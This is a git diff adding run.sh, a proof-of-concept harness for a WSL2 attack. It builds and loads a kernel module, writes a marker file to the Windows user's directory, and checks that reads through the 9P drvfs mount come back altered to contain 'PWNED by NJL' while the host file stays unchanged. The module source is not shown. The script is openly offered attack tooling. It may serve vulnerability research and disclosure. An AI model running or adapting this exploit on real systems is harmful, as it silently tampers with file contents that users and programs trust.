diff --git a/run.sh b/run.sh
new file mode 100644
index 0000000..ff60168
--- /dev/null
+++ b/run.sh
@@ -0,0 +1,54 @@
+#!/bin/bash
+set -e
+
+KVER=$(uname -r)
+BUILD=/tmp/wsl2_poc_build
+POC_DIR="$(cd "$(dirname "$0")" && pwd)"
+
+WINUSER=$(cmd.exe /c "echo %USERNAME%" 2>/dev/null | tr -d '\r\n')
+WINDRIVE=$(findmnt -n -o TARGET,SOURCE --type 9p 2>/dev/null | awk '$2=="drvfs" || $2=="C:\\" || $2=="C:" {print $1; exit}')
+[ -z "$WINDRIVE" ] && WINDRIVE=$(findmnt -n -o TARGET --type 9p 2>/dev/null | grep -m1 '/mnt/')
+[ -z "$WINDRIVE" ] && WINDRIVE=/mnt/c
+TARGET="$WINDRIVE/Users/$WINUSER/wsl2_poc_target.txt"
+
+ln -sf /usr/src/wsl-kernel-src /lib/modules/$KVER/build 2>/dev/null || true
+
+rm -rf $BUILD && mkdir -p $BUILD
+cp "$POC_DIR/main.c" $BUILD/
+cp "$POC_DIR/Makefile" $BUILD/
+
+cd $BUILD && make 2>&1 | grep -E 'error:|warning:|main\.ko' || true
+
+[ -f $BUILD/main.ko ] || { echo "[FAIL] build failed"; exit 1; }
+echo "[+] main.ko built"
+
+lsmod | grep -q '^main ' && rmmod main 2>/dev/null || true
+
+printf 'this line is before\nWSL2_9P_MITM_TARGET\nthis line is after\n' > "$TARGET"
+echo 3 > /proc/sys/vm/drop_caches
+
+echo "[*] file written to Windows host: $TARGET"
+echo "[*] real content:"
+powershell.exe -Command "Get-Content '$TARGET'" 2>/dev/null || strings "$TARGET"
+
+insmod $BUILD/main.ko
+echo "[+] module loaded"
+
+echo ""
+echo "[*] reading same file through WSL2 drvfs (9P):"
+RESULT=$(cat "$TARGET")
+echo "$RESULT"
+
+echo ""
+echo "=== verify ==="
+if echo "$RESULT" | grep -q 'PWNED by NJL'; then
+    echo "[CONFIRMED] in-flight 9P read patched — host file unchanged, WSL read tampered"
+    dmesg | grep '\[poc\]' | tail -3
+else
+    echo "[FAIL] patch not applied"
+    dmesg | grep '\[poc\]' | tail -10
+fi
+
+rmmod main
+echo "[+] module unloaded"
+rm -f "$TARGET"